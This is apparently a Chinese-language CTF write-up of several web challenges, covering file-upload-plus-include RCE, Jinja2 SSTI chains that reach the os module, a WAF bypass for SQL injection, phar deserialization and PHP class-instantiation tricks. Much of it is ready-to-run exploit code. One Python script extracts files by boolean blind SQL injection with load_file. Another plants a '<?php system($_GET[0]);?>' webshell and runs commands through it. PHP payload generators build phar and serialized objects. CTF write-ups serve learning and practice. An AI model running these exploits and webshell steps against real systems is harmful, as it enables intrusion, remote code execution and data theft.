WEB2-文件上传(所有文件变jpg)

但是我们上传一句话木马
不直接访问,而是包含的话

就可以成功执行


成功获取flag
找「能落地文件的地方」
+
找「能 include 的地方」
=
RCE
04-template

跟之前的rookie很像
这一题考的是SSTI

查看js源码看到


经过测试发现,并没有任何的限制
确定是 Jinja2

直接就是root权限

读取flag
常见链
链 需要
config.__class__.__init__.__globals__['os'] Flask ✓
lipsum.__globals__['os'] Flask/Jinja2 ✓
cycler.__init__.__globals__.os 纯 Jinja2 ✓
joiner.__init__.__globals__.os 纯 Jinja2 ✓
namespace.__init__.__globals__.os 纯 Jinja2 ✓
''.__class__.__mro__[1].__subclasses__() 纯 Python ✓ (453 个子类)
WEB2-readllySQL


SQL注入,测试WAF
'(单引号) 空格
尝试 结果
%27 WAF ✗(说明 WAF 查的是解码后的值)
%2527 / %252527 不 WAF 但也不注入 ✗
%c0%a7 / %e0%80%a7(overlong UTF-8) ✗
全角 ' %EF%BC%87 ✗
U+2019 %E2%80%99 ✗
%u0027 ✗
%bf%27(GBK 宽字节) ✗
数组 username[]= 过 WAF ✓ 但 $username 变 Array ✗ 拿不到注入
分字段测 username 和 password 都查 ✗
除了这两个其他的都可以
任何的' 空格都不能用,那就不用
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
传:username = admin\ password = or/**/1=1#
执行:WHERE username='admin\' AND password='or/**/1=1
\ 吃掉这个 ' 这里变成字符串开头
有效:WHERE username='admin' AND password='' or 1=1#
恒真


布尔盲注 oracle
响应 含义
登录成功int(1) TRUE
登录失败 FALSE
别瞎输,快爬! WAF
payload 格式:
password = or/**/(<条件>)#
为什么 UNION 不行
可用函数
database() substr() ascii() load_file() hex() length() exists()
information_schema.tables / .columns
试了 0/**/union/**/select/**/1,2,3# 全部失败因为 \ 转义后,password= 后面直接跟 union语法错误而 or 可以接在 password='' 后面形成布尔表达式所以只能盲注
用法
================================================================================
python WEB2_readllySQL_exp.py
python WEB2_readllySQL_exp.py --url http://靶机/
python WEB2_readllySQL_exp.py --path /flag --sql "database()"
"""
import sys
import re
import argparse
import subprocess
DEFAULT_URL = "http://7598a63567d904b43bc03523.http-ctf2.dasctf.com"
FLAG_RE = re.compile(r"[A-Za-z0-9_]{2,25}\{[!-~]{1,200}\}")
class Inj:
def __init__(self, base):
self.base = base.rstrip("/")
self.calls = 0
def ask(self, cond):
"""cond 里不能出现 ' 和空格(用 /**/ 代替空格)"""
r = subprocess.run(["curl", "-s", "--noproxy", "*", "-m", "15", "-X", "POST",
"--data-urlencode", "username=admin\\",
"--data-urlencode", "password=or/**/(" + cond + ")#",
self.base + "/login.php"], capture_output=True)
b = (r.stdout or b"").decode("utf-8", "replace")
self.calls += 1
if "登录成功" in b:
return True
if "别瞎输" in b:
return None
return False
def blind(self, expr, maxlen=120, lo=9, hi=126, label=""):
out = ""
for i in range(1, maxlen + 1):
l, h = lo, hi
while l < h:
mid = (l + h) // 2
v = self.ask("ascii(substr(%s,%d,1))>%d" % (expr, i, mid))
if v is None:
return out + "<WAF>"
if v:
l = mid + 1
else:
h = mid
if l <= lo:
break
out += chr(l)
if label:
sys.stdout.write("\r %s %r" % (label, out))
sys.stdout.flush()
if label:
print()
return out
def hx(s):
return "0x" + s.encode().hex()
def main():
sys.stdout.reconfigure(encoding="utf-8")
ap = argparse.ArgumentParser(description="WEB2-readlly SQL EXP")
ap.add_argument("--url", default=DEFAULT_URL)
ap.add_argument("--path", default="/flag", help="要读的文件")
ap.add_argument("--sql", help="也可以直接盲注一个 SQL 表达式")
a = ap.parse_args()
t = Inj(a.url)
print("=" * 74)
print(" WEB2-readlly SQL EXP")
print("=" * 74)
print(" 目标: %s" % t.base)
print()
# --- 0. 确认布尔 oracle ---
print(" [0] 确认布尔 oracle")
v1 = t.ask("1=1")
v2 = t.ask("1=2")
print(" or**(1=1) → %s" % v1)
print(" or**(1=2) → %s" % v2)
if not (v1 is True and v2 is False):
print(" ✗ oracle 不成立")
return 1
print(" \033[32m✓ 布尔盲注可用\033[0m")
# --- 1. 库名 ---
print()
print(" [1] 库名")
db = t.blind("(select/**/database())", maxlen=32, label="db")
print(" database() = %r" % db)
# --- 2. 表名 ---
print()
print(" [2] 表名")
tabs = []
for n in range(0, 6):
e = ("(select/**/table_name/**/from/**/information_schema.tables"
"/**/where/**/table_schema=%s/**/limit/**/%d,1)" % (hx(db), n))
tn = t.blind(e, maxlen=32, label="t%d" % n)
if not tn or "<WAF>" in tn:
break
tabs.append(tn)
print(" 表: %s" % tabs)
# --- 3. 读文件 ---
if a.sql:
print()
print(" [3] 盲注表达式: %s" % a.sql)
val = t.blind("(" + a.sql + ")", maxlen=200, label="val")
else:
print()
print(" [3] load_file(%r)" % a.path)
p = hx(a.path)
if not t.ask("load_file(%s)is/**/not/**/null" % p):
print(" ✗ 文件不存在或不可读")
return 1
print(" ✓ 文件可读")
val = t.blind("load_file(%s)" % p, maxlen=200, label="file")
print()
print("=" * 74)
print(" 内容: %r" % val)
m = FLAG_RE.search(val)
if m:
flag = m.group(0)
print()
print(" \033[32m★★★ FLAG = %s\033[0m" % flag)
with open("flag.txt", "w", encoding="ascii") as f:
f.write(flag + "\n")
print(" 已存 flag.txt")
print(" 共 %d 次请求" % t.calls)
return 0
print(" ✗ 没匹配到 flag 格式")
print(" 共 %d 次请求" % t.calls)
return 1
if __name__ == "__main__":
sys.exit(main())
writeandcheck
<?php
error_reporting(0);
class File{
定义一个名为 File 的类
public $ext = "txt";
公有属性 $ext,默认值为 "txt"。后面拼接文件名时会加上 .$this->ext,也就是默认追加 .txt
public $action;
公有属性 $action,用于保存动作类型
public function __construct($action)
{
$this->action = $action;
构造函数。创建 File 对象时把传入的 $action 保存到 $this->action
}
public function __destruct()
析构函数,对象被销毁时自动调用
{
$action = $this->action;
从对象属性中取出动作
switch($action){
case "write":
进入写文件逻辑
$filename = $_GET['filename'].".".$this->ext;
默认情况下 $this->ext = "txt",所以实际文件名类似
$_GET['filename'] . ".txt"
例如:
filename=../test
../test.txt
if(strlen($filename)>14){
die("nonono");
检查拼接后的完整文件名字符串长度。如果长度大于 14 字节,输出 nonono 并终止脚本
}
str_replace($filename,'..','');
str_replace(要搜索的内容, 替换成什么, 在哪个字符串中替换)
$content = $_GET['content'];
file_put_contents($filename,$content);
break;
case "check":
$filename = $_REQUEST['filename'];
if(file_exists($filename)){
echo "file exits";
}else{
echo "file not exits";
}
break;
}
}
}
$action = $_GET['action'];
if(isset($action)){
serialize(new File($action));
}else{
highlight_file(__FILE__);
}
ext 通过 phar 可控把 txt 改成 php
默认 $ext = "txt" filename 拼出来是 X.txt 不能执行
用 phar 反序列化构造 ext = "php" 写出来就是 X.php
str_replace 是废的
str_replace($filename,'..',''); // ← 返回值没接收,什么都没改
形同虚设
$_REQUEST 的优先级:COOKIE > POST > GET
write 用 $_GET['filename'],check 用 $_REQUEST['filename'] 看起来是冲突
但实测优先级是 COOKIE 最高
实测数据:
GET POST COOKIE $_REQUEST 取到 结果
a.txt --- --- GET file exits
a.txt --- zzz COOKIE file not exits
--- a.txt --- POST file exits
zzz a.txt --- POST file exits
--- a.txt zzz COOKIE file not exits
<?php
/**
* gen_payload.php ------ 生成 writeandcheck 的序列化 payload
*
* 用真正的 serialize() 生成,所以永远格式正确 ✓
*
* 用法
* ============================================================================
* php gen_payload.php # 默认 ext=php, action=write
* php gen_payload.php php write # 同上
* php gen_payload.php txt check # ext=txt, action=check
* php gen_payload.php "" write # ext=""(空扩展名)
* php gen_payload.php php write phar # 同时生成 payload.phar
*
* 输出
* ============================================================================
* 序列化串本身(一行),可直接放进 ?content= 或作为 phar 的 metadata
*/
class File
{
public $ext = "txt";
public $action;
}
$ext = isset($argv[1]) ? $argv[1] : "php";
$action = isset($argv[2]) ? $argv[2] : "write";
$also = isset($argv[3]) ? $argv[3] : "";
$obj = new File();
$obj->ext = $ext;
$obj->action = $action;
$payload = serialize($obj);
fwrite(STDERR, "ext = " . var_export($ext, true) . "\n");
fwrite(STDERR, "action = " . var_export($action, true) . "\n");
fwrite(STDERR, "长度 = " . strlen($payload) . " 字节\n");
fwrite(STDERR, str_repeat("-", 70) . "\n");
fwrite(STDERR, $payload . "\n");
fwrite(STDERR, str_repeat("-", 70) . "\n");
echo $payload . "\n";
if ($also === "phar") {
$out = __DIR__ . "/payload.phar";
@unlink($out);
$p = new Phar($out);
$p->startBuffering();
$p->addFromString("a.txt", "test");
$p->setStub("<?php __HALT_COMPILER(); ?>");
$p->setMetadata($obj); // ← 直接用对象,不用先序列化
$p->stopBuffering();
fwrite(STDERR, "\n✓ phar 已生成: $out (" . filesize($out) . " 字节)\n");
fwrite(STDERR, " 触发: ?action=check&filename=phar://a.txt/a.txt\n");
fwrite(STDERR, " (注意:要生成 phar 得加 -d phar.readonly=0)\n");
}
if (getenv("SELFTEST")) {
$back = unserialize($payload);
fwrite(STDERR, "\n自检:\n");
fwrite(STDERR, " unserialize 后 ext = " . var_export($back->ext, true) . "\n");
fwrite(STDERR, " unserialize 后 action = " . var_export($back->action, true) . "\n");
fwrite(STDERR, " 再序列化 = " . serialize($back) . "\n");
fwrite(STDERR, " 一致 = " . ($payload === serialize($back) ? "✓" : "✗") . "\n");
}
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
r"""
writeandcheck ------ 一键 EXP(phar:// 反序列化)
题目源码(首页 highlight_file 直接吐出来)
================================================================================
class File{
public $ext = "txt";
public $action;
public function __destruct(){
$action = $this->action;
switch($action){
case "write":
$filename = $_GET['filename'].".".$this->ext;
if(strlen($filename)>14) die("nonono");
str_replace($filename,'..',''); // ← 返回值丢弃,形同虚设
$content = $_GET['content'];
file_put_contents($filename,$content);
break;
case "check":
$filename = $_REQUEST['filename']; // ← phar 触发点
if(file_exists($filename)) echo "file exits";
else echo "file not exits";
break;
}
}
}
$action = $_GET['action'];
if(isset($action)) serialize(new File($action));
else highlight_file(__FILE__);
三个关键点
================================================================================
① ext 默认 "txt" → 但通过 phar 反序列化可控 → 改成 "php"
⇒ 写出来的文件就是 .php,能执行
② write 用 $_GET['filename'],check 用 $_REQUEST['filename']
⇒ 看起来冲突,但其实 $_REQUEST 的优先级是 COOKIE > POST > GET ★★★
⇒ 把 phar 路径放 COOKIE,目标文件名放 GET → 零冲突
③ file_exists() 是 phar 的触发点
⇒ ?action=check&filename=phar://a.txt/a.txt
(a.txt 里是 phar 二进制,扩展名不影响解析)
利用步骤
================================================================================
1. 用 PHP 生成合法的 phar(带签名!make_phar 那个工具缺签名,是坏的)
metadata = File{ext:"php", action:"write"}
internal file = "a.txt"
2. ?action=write&filename=a&content=<urlencoded phar>
→ 写出 a.txt(a + .txt = 5 字符 ≤ 14 ✓)
3. Cookie: filename=phar://a.txt/a.txt ← 触发
GET: ?action=check&filename=shell&content=<?php system($_GET[0]);?>
(GET 的 filename 是给 write 用的,COOKIE 的给 check 用)
4. /shell.php?0=id → RCE
用法
================================================================================
python writeandcheck_exp.py
python writeandcheck_exp.py --url http://靶机/
"""
import sys
import os
import re
import argparse
import tempfile
import subprocess
import urllib.parse
DEFAULT_URL = "http://ca186a785d2f1b41ba395a95.http-ctf2.dasctf.com"
FLAG_RE = re.compile(r"[A-Za-z0-9_]{2,25}\{[!-~]{1,200}\}")
GEN_PHP = r'''<?php
class File { public $ext = "txt"; public $action; }
$obj = new File();
$obj->ext = %(ext)s;
$obj->action = "write";
@unlink(%(out)s);
$p = new Phar(%(out)s);
$p->startBuffering();
$p->addFromString("a.txt", "test");
$p->setStub("<?php __HALT_COMPILER(); ?>");
$p->setMetadata($obj);
$p->stopBuffering();
'''
def find_php():
"""找一个能跑的 php"""
for p in (r"D:\php-8.2.30-Win32-vs16-x64\php.exe", "php"):
try:
r = subprocess.run([p, "-v"], capture_output=True, timeout=10)
if r.returncode == 0:
return p
except Exception:
pass
return None
def build_phar(workdir, ext="php"):
"""生成带签名的合法 phar(原始格式,能 append 在文件头后面)"""
php = find_php()
if not php:
raise RuntimeError("找不到 php.exe(生成 phar 必须用 PHP 本体,才有签名)")
out = os.path.join(workdir, "payload.phar")
script = os.path.join(workdir, "gen.php")
code = GEN_PHP % {"ext": '"%s"' % ext, "out": '"%s"' % out.replace("\\", "\\\\")}
with open(script, "w", encoding="utf-8") as f:
f.write(code)
r = subprocess.run([php, "-d", "phar.readonly=0", script], capture_output=True)
if not os.path.exists(out):
raise RuntimeError("生成失败: %s" % (r.stdout + r.stderr).decode("utf-8", "replace"))
data = open(out, "rb").read()
return data
def curl(args, timeout=25):
r = subprocess.run(["curl", "-s", "-g", "--noproxy", "*", "-m", str(timeout)] + args,
capture_output=True)
return (r.stdout or b"").decode("utf-8", "replace")
def main():
sys.stdout.reconfigure(encoding="utf-8")
ap = argparse.ArgumentParser(description="writeandcheck phar EXP")
ap.add_argument("--url", default=DEFAULT_URL)
ap.add_argument("--name", default="a", help="容器文件名(≤ 11 字符)")
ap.add_argument("--shell", default="shell", help="要生成的 webshell 名")
a = ap.parse_args()
base = a.url.rstrip("/")
print("=" * 74)
print(" writeandcheck EXP (phar:// 反序列化)")
print("=" * 74)
print(" 目标: %s" % base)
print()
# --- 0. 拿源码 ---
print(" [0] 拿源码")
home = curl([base + "/index.php"])
if "class" not in home:
print(" ✗ 首页没源码")
return 1
print(" ✓ 首页吐源码(%d 字节)" % len(home))
# --- 1. 生成 phar ---
print()
print(" [1] 生成 phar(ext=php, action=write)")
wd = tempfile.mkdtemp()
try:
phar = build_phar(wd, ext="php")
except Exception as e:
print(" ✗ %s" % e)
return 1
print(" ✓ %d 字节(PHP 本体生成,带签名)" % len(phar))
# --- 2. 上传到 a.txt ---
container = a.name + ".txt"
print()
print(" [2] 上传 phar → %s(%d 字符 ≤ 14 ✓)" % (container, len(container)))
enc = urllib.parse.quote_from_bytes(phar, safe="")
curl([base + "/index.php?action=write&filename=%s&content=%s" % (a.name, enc)])
chk = curl([base + "/index.php?action=check&filename=" + container])
print(" 确认: %r" % chk[:40])
if "exits" not in chk or "not" in chk:
print(" ✗ 容器没写成功")
return 1
print(" ✓ 容器就位")
# --- 3. 触发 ---
print()
print(" [3] 触发(COOKIE 优先级最高,避开 filename 冲突)")
shell = "<?php system($_GET[0]);?>"
body = curl(["-b", "filename=phar://%s/a.txt" % container,
"-G", "--data-urlencode", "action=check",
"--data-urlencode", "filename=" + a.shell,
"--data-urlencode", "content=" + shell,
base + "/index.php"])
print(" 响应: %r" % body[:60])
# --- 4. RCE ---
print()
print(" [4] 访问 /%s.php" % a.shell)
target = "%s/%s.php" % (base, a.shell)
ident = curl(["-G", "--data-urlencode", "0=id", target])
print(" id → %r" % ident[:120])
if "uid=" not in ident:
print(" ✗ 没拿到 RCE")
return 1
print(" \033[32m✓ RCE 成功\033[0m")
# --- 5. 读 flag ---
print()
print(" [5] 读 flag")
for cmd in ("cat /flag", "cat /flag*", "ls /"):
out = curl(["-G", "--data-urlencode", "0=" + cmd, target])
print(" [%-14s] → %r" % (cmd, out[:200]))
m = FLAG_RE.search(out)
if m:
flag = m.group(0)
print()
print(" \033[32m★★★ FLAG = %s\033[0m" % flag)
with open("flag.txt", "w", encoding="ascii") as f:
f.write(flag + "\n")
print(" 已存 flag.txt")
return 0
print()
print(" ✗ 没拿到 flag")
return 1
if __name__ == "__main__":
sys.exit(main())
可以成功获取flag

找色差吗

这种题目,一眼就是前端逆向
游戏结束文案 getGameOverText
反混淆后看到:
css
`'getGameOverText': function(_0x3f8586) {
var _0x268d05 = { ..., 'UVjif': "71bc9", 'GkSez': '4|3|1|0|2' };
var _0x2ef650 = 0xf > _0x3f8586 ? 0x0 : Math.ceil((_0x3f8586 - 0xf) / 0x5),
_0x32718d = 0x62c, // = 1580
_0x5d8625 = this["lvT"][_0x2ef650] || _["last"](this["lvT"]);
if (this['lv'] > _0x32718d + 0x1a3) { // 1580 + 419 = 1999
// ★★★ 只有过 2000 关才会走到这里
switch (...) {
case '0': var _0x4b1e67 = 'faf82'; continue; // key1
case '1': var _0x4f0b40 = '8c4f1'; continue; // key2
case '2': console['log'](strEnc(_0x2008d1, _0x60a0ea, _0x4f0b40, _0x4b1e67));
continue;
case '3': var _0x60a0ea = _0x268d05["UVjif"]; continue; // key3 = "71bc9"
case '4': var _0x2008d1 = 'find_different_blocks'; continue; // ★ 数据
}
}
...
}
反混淆后看到:`
if (lv >= 2000) {
console.log(strEnc('find_different_blocks', '71bc9', '8c4f1', 'faf82'));
}
直接调用题目自己的 strEnc
runStrenc.js:同样在 Node 沙箱里加载 deobf.txt,然后直接 strEnc(...)
let strEnc = null;
for (const k of Object.keys(sandbox))
if (typeof sandbox[k] === 'function' && /^strEnc$/i.test(k)) { strEnc = sandbox[k]; break; }
const out = strEnc('find_different_blocks', '71bc9', '8c4f1', 'faf82');
const md5 = crypto.createHash('md5').update(String(out), 'utf8').digest('hex');
结果
strEnc("find_different_blocks", "71bc9", "8c4f1", "faf82")
= 21E7AE40B06B28439D031D6848F6E5736B28CA5D50DB89BC34468C8195AC002AB593117A1BDAEA972B8C223883FA6443
(96 个 hex 字符 = 48 字节)
md5(结果)
= 84673edf8a1ab819dadfdb5da4f41cfe
flag{84673edf8a1ab819dadfdb5da4f41cfe}
一个通用的sojson.v5 反混淆器
#!/usr/bin/env node
/*
* desojson2.js ------ 精确解 sojson.v5:只解源码里真实出现的 (idx, key) 对
*
* 用法:
* node desojson2.js color.min.js out.txt
*
* 输出两种文件:
* out.txt ------ 按源码顺序,把每个 _0x2f2b('0x..','..') 替换成解出的字符串
* out_pairs.txt ------ "idx key -> value" 对照表
*/
const fs = require('fs');
const vm = require('vm');
const file = process.argv[2] || 'color.min.js';
const outBase = process.argv[3] || 'deobf';
let src = fs.readFileSync(file, 'utf8');
// ---- 沙箱:stub 掉一切 ----
function makeStub() {
const fn = function () { return stub; };
const stub = new Proxy(fn, {
get(t, p) {
if (p === Symbol.toPrimitive) return () => '';
if (p === 'toString') return () => '';
if (p === 'length') return 0;
if (p === 'then') return undefined;
if (p === 'valueOf') return () => 0;
return stub;
},
set() { return true; },
apply() { return stub; },
construct() { return stub; },
});
return stub;
}
const sandbox = { encode_version: undefined };
sandbox.window = sandbox;
sandbox.globalThis = sandbox;
sandbox.self = sandbox;
sandbox.document = makeStub();
sandbox.navigator = makeStub();
sandbox.localStorage = makeStub();
sandbox.location = makeStub();
sandbox.console = { log: () => { }, error: () => { }, warn: () => { } };
sandbox.setTimeout = () => 0; sandbox.setInterval = () => 0;
sandbox.clearTimeout = () => 0; sandbox.clearInterval = () => 0;
sandbox.alert = () => 0;
sandbox.eval = (c) => c;
sandbox.Function = function () { return () => 0; };
const ctx = vm.createContext(sandbox);
console.log('[*] 执行文件以取得解码器...');
try {
vm.runInContext(src, ctx, { timeout: 60000, filename: file });
} catch (e) {
console.log('[*] 中断(正常): ' + e.message.slice(0, 100));
}
// ---- 找解码器 ----
let decName = null, decFn = null;
const cands = Object.keys(sandbox).filter(k => /^_0x[0-9a-f]+$/.test(k) && typeof sandbox[k] === 'function');
for (const c of cands) {
// 试解一个已知调用验证
const m = src.match(/_\w+\(\s*'(0x[0-9a-f]+)'\s*,\s*'([^']+)'\s*\)/);
if (m) {
try {
const v = sandbox[c](m[1], m[2]);
if (typeof v === 'string' && v.length > 0 && !v.includes('\uFFFD')) {
decName = c; decFn = sandbox[c];
console.log('[*] 解码器 = ' + c + ' 验证: ' + m[1] + ' -> ' + JSON.stringify(v));
break;
}
} catch (e) { }
}
}
if (!decFn) {
console.log('✗ 没找到可用解码器,候选: ' + cands.join(', '));
process.exit(1);
}
// ---- 精确替换 ----
const re = new RegExp('_' + decName.slice(3) + '\\(\\s*\'(0x[0-9a-f]+)\'\\s*,\\s*\'([^\']+)\'\\s*\\)', 'g');
// 上面的构造可能不对,直接用通用正则
const re2 = new RegExp(decName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&') + "\\(\\s*'(0x[0-9a-f]+)'\\s*,\\s*'([^']+)'\\s*\\)", 'g');
const pairs = [];
let replaced = src.replace(re2, (all, idx, key) => {
let v;
try { v = decFn(idx, key); } catch (e) { v = null; }
if (typeof v !== 'string') return all;
pairs.push([idx, key, v]);
return JSON.stringify(v);
});
console.log('[*] 替换了 ' + pairs.length + ' 处');
fs.writeFileSync(outBase + '.txt', replaced, 'utf8');
fs.writeFileSync(outBase + '_pairs.txt',
pairs.map(p => p[0] + '\t' + p[1] + '\t' + JSON.stringify(p[2])).join('\n'), 'utf8');
console.log('[*] 已写 ' + outBase + '.txt 和 ' + outBase + '_pairs.txt');
// ---- 打印源码后半段(游戏逻辑通常在 jQuery 之后)----
const half = Math.floor(replaced.length / 2);
const tail = replaced.slice(half);
fs.writeFileSync(outBase + '_tail.txt', tail, 'utf8');
console.log('[*] 已写 ' + outBase + '_tail.txt (' + tail.length + ' 字符)');
// ---- 关键词 ----
const KW = ['flag', '2000', 'lastLv', 'level', 'score', 'ajax', 'php', '/api', 'win'];
console.log('\n===== 关键词命中(只列有意义的)=====');
for (const [idx, key, v] of pairs) {
for (const k of KW) {
if (v.toLowerCase().includes(k)) {
console.log(' [' + k + '] ' + idx + ' ' + key + ' -> ' + JSON.stringify(v).slice(0, 250));
break;
}
}
}
#node desojson2.js <混淆文件.js> <输出前缀>
# 产出 <前缀>.txt / <前缀>_pairs.txt / <前缀>_tail.txt
ez_serialize
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
三个 public 属性,全部可以序列化
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
正常访问时走这里,因此看到 hello ctfer
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
这里把 $check 覆盖了
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
两道过滤器
echo new $this->class ($this->para);
唯一的漏洞点
}
else
die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
只能回显我们自己输入的字符串
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
致命缺陷在这里
return false;
}
else
return true;
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;
} hello ctfer
先读 hint.php
class=SplFileObject, para=/var/www/html/hint.php
⇒ <?php // flag.php is in a folder under this directory
用 GlobIterator 做目录枚举
* 和 ? 被过滤,但 [ ] 没被禁 → glob 字符类可用 ✓ GlobIterator 的构造函数吃 pattern,echo 时输出第一个匹配项的 basename
校准:
GlobIterator('/etc/passwd') → passwd
GlobIterator('/var/www/html/[i][n][d][e][x][.][p][h][p]') → index.php
GlobIterator('/[a-z][a-z][a-z][a-z][a-z][a-z]') (空) 可用
枚举 /var/www/html
len=8 hint.php
len=9 index.php
拉长到 31..60
len=32 aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE
目录名 32 个字符,前面扫到 30 就漏了
枚举该目录
.
..
flag.php
读出来
class=SplFileObject, para=/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php
⇒ CTF2{8d2c4751-6c9e-4cab-8417-01cc4bbcb5f5}
<?php
class A{public $class;public $para;public $check;}
$a=new A;
$a->class="GlobIterator";
$a->para="/var/www/html/a".str_repeat("[a-zA-Z0-9._-]",31);
$b=serialize($a);
echo $b;
<?php
class A{public $class;public $para;public $check;}
$a=new A;
$a->class="SplFileObject";
$a->para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
$b=serialize($a);
echo $b;
